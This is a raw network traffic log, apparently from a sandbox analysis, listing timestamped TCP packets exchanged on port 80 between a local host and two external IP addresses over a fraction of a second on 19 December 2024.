Dec 19, 2024 08:09:31.063098907 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.063153028 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.063194036 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.063235044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.064172983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.064275026 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.064325094 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.065254927 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.065310955 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.065365076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.065411091 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.066350937 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.066406965 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.066421986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.066458941 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.067433119 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.067528009 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.067580938 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.068514109 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.068562031 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.068619013 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.068661928 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.069633961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.069684982 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.069760084 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.069804907 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.070719004 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.070823908 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.070835114 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.070888042 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.071841955 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.071902990 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.071933985 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.071944952 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.072890043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.072967052 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.072999001 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.073045015 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.073995113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.074222088 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.074269056 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.075073957 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.075176954 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.075223923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.076236963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.076287985 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.076316118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.076369047 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.077258110 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.077322006 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.077351093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.077394962 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.078331947 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.078457117 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.078507900 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.079199076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.079303026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.079482079 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.079519033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.079543114 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.079571009 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.079611063 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.080563068 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.080635071 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.080662966 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.080677032 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.081625938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.081701994 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.081729889 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.081820965 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.082707882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.082761049 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.082792044 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.082835913 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.083420038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.083509922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.083569050 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.083813906 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.083914995 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.083961964 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.084898949 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.084966898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.085010052 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.085052013 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.086019993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.086102009 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.086159945 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.087121010 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.087176085 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.087199926 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.087245941 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.088210106 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.088330984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.088378906 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.089268923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.089318037 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.089381933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.089427948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.090349913 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.090394020 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.090466976 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.090507984 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.091456890 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.091502905 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.091578960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.091639042 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.091772079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.092592001 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.092641115 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.092658997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.092773914 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.093650103 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.093733072 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.093777895 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.094717979 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.094765902 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.094845057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.094888926 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.095825911 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.095875025 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.095927000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.095971107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.096956015 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.097011089 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.097086906 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.097131968 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.098001003 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.098047972 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.098114014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.098157883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.099108934 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.099164009 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.099195004 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.099239111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.100357056 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.100459099 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.100527048 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.101280928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.101329088 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.101382971 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.101424932 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.102444887 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.102504969 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.102504969 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.102546930 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.103466034 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.103512049 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.133622885 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.152590036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.152707100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.152765036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.156774044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.156853914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.156934977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.165173054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.165256977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.165303946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.173527956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.173651934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.174261093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.181895971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.182004929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.182041883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.190288067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.190397024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.190434933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.198662996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.198776007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.198956013 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.207056999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.207133055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.207173109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.215457916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.215581894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.216350079 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.223809004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.223949909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.224039078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.231014013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.231089115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.231141090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.238240957 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.238326073 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.238328934 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.238439083 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.238779068 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.238828897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.238835096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.238873959 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.239891052 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.240000963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.240026951 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.240037918 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.240988016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.241060972 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.241087914 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.241132021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.242053986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.242161989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.242173910 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.242657900 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.243144989 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.243261099 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.243278980 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.243321896 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.244239092 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.244339943 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.244359016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.244405031 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.245398045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.245466948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.245476961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.245515108 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.246432066 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.246481895 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.246537924 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.246583939 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.247517109 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.247565031 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.247668028 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.247705936 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.248275042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.248609066 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.248652935 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.248713017 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.248750925 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.249768019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.249847889 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.249872923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.250195980 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.250804901 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.250860929 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.250919104 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.250957012 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.251882076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.251933098 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.252058983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.252104998 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.252963066 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.253001928 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.253083944 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.253120899 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.253211975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.253222942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.253251076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.254080057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.254108906 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.254131079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.254167080 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.255224943 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.255310059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.255323887 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.255378008 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.256247044 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.256298065 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.256344080 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.256381035 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.257354975 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.257462978 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.257508993 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.258441925 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.258505106 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.258552074 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.258610010 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.259521961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.259583950 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.259639025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.259676933 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.260631084 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.260725021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.260725021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.260879993 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.261732101 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.261787891 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.261826992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.261961937 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.262809992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.262856007 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.262907028 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.262963057 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.263895035 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.263941050 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.264043093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.264270067 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.265012026 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.265067101 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.265111923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.265177965 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.266072035 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.266113043 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.266191006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.266227961 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.267172098 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.267244101 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.267267942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.267304897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.268259048 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.268320084 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.268362045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.268402100 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.269360065 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.269406080 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.269464970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.269503117 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.270493031 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.270518064 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.270564079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.270564079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.271558046 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.271617889 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.271677971 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.271718025 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.272654057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.272694111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.272747993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.272855997 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.273756981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.273854971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.273878098 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.273929119 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.274822950 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.274965048 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.275010109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.275929928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.276038885 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.276056051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.276093006 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.277031898 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.277137041 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.277146101 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.277170897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.278100967 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.278145075 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.278233051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.278289080 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.279210091 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.279278994 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.279300928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.279337883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.280277967 CET	80	49858	31.41.244.11	192.168.2.6
